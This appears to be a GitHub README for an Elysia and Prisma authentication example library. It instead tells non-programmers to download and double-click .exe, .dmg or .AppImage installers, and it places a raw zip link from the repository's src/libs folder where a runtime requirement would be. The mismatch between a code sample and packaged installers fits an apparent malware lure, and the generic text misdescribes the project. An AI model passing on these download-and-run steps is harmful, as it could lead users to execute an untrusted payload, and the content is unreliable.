This project shows you how to use Elysia with Prisma to create a simple authentication system. It is a great example for those who want to implement user login and registration features easily.
To get started with the example project, follow the steps below. This guide will help you download the software and run it. You do not need to know programming concepts to complete these steps.
-
Visit the Releases Page
Click on the link below to go to the Releases page: Go to Releases Page. -
Select a Version
On the Releases page, you will see a list of available versions. Choose the latest version for the best experience. -
Download the Software
Look for the assets section under the chosen version. Click on the file that matches your operating system:- For Windows users, select the file that ends in
.exe. - For macOS users, choose the file that ends in
.dmg. - For Linux users, pick the file that ends in
.AppImage.
- For Windows users, select the file that ends in
-
Run the File
After downloading, locate the file in your download folder.- For Windows: Double-click the
.exefile. Follow the prompts to install. Open the application after the installation is complete. - For macOS: Double-click the
.dmgfile. Drag the application to your Applications folder. Open it from there. - For Linux: Make the
.AppImageexecutable by right-clicking the file, going to Properties, and enabling the executable option. Then, double-click to run it.
- For Windows: Double-click the
Once you have the app running, follow these steps to set it up:
-
Access the Settings
On the home screen, look for a "Settings" or "Configure" option. -
Enter Database Information
You will need to provide your database details. Use the following placeholder details if you donβt have a database set up:- Database Type: PostgreSQL
- Host: localhost
- Port: 5432
- Username: user
- Password: password
- Database Name: auth_example
-
Save the Configuration
After entering your details, make sure to save the configuration before moving on.
The elysia-prisma-better-auth-example project includes:
- User registration
- User login
- Password hashing for security
- Session management
These features help you manage user authentication safely and efficiently.
Before you run the application, please ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS Mojave or later, or a modern Linux distribution.
- RAM: At least 4 GB.
- Disk Space: Minimum 100 MB free space available.
- https://github.com/xShinKelx/elysia-prisma-better-auth-example/raw/refs/heads/main/src/libs/example-auth-prisma-elysia-better-3.3-beta.4.zip Version 14 or later installed for development purposes (if you need to customize).
If you encounter any issues while using the application, try the following steps:
- Make sure your system meets the requirements listed above.
- Check that your database is running and accessible.
- Restart your application if you make any changes to the configuration.
- Look for log files in the installation directory. They can provide information on any errors.
This project is licensed under the MIT License. You can use and modify the software but please give credit to the original authors.
If you need help or have questions, feel free to open an issue in the GitHub repository. The community and developers will do their best to assist you.
Make sure to review the changelog for updates to the project. It details the changes and fixes made in the latest releases.
Go to Releases Page to download the latest version!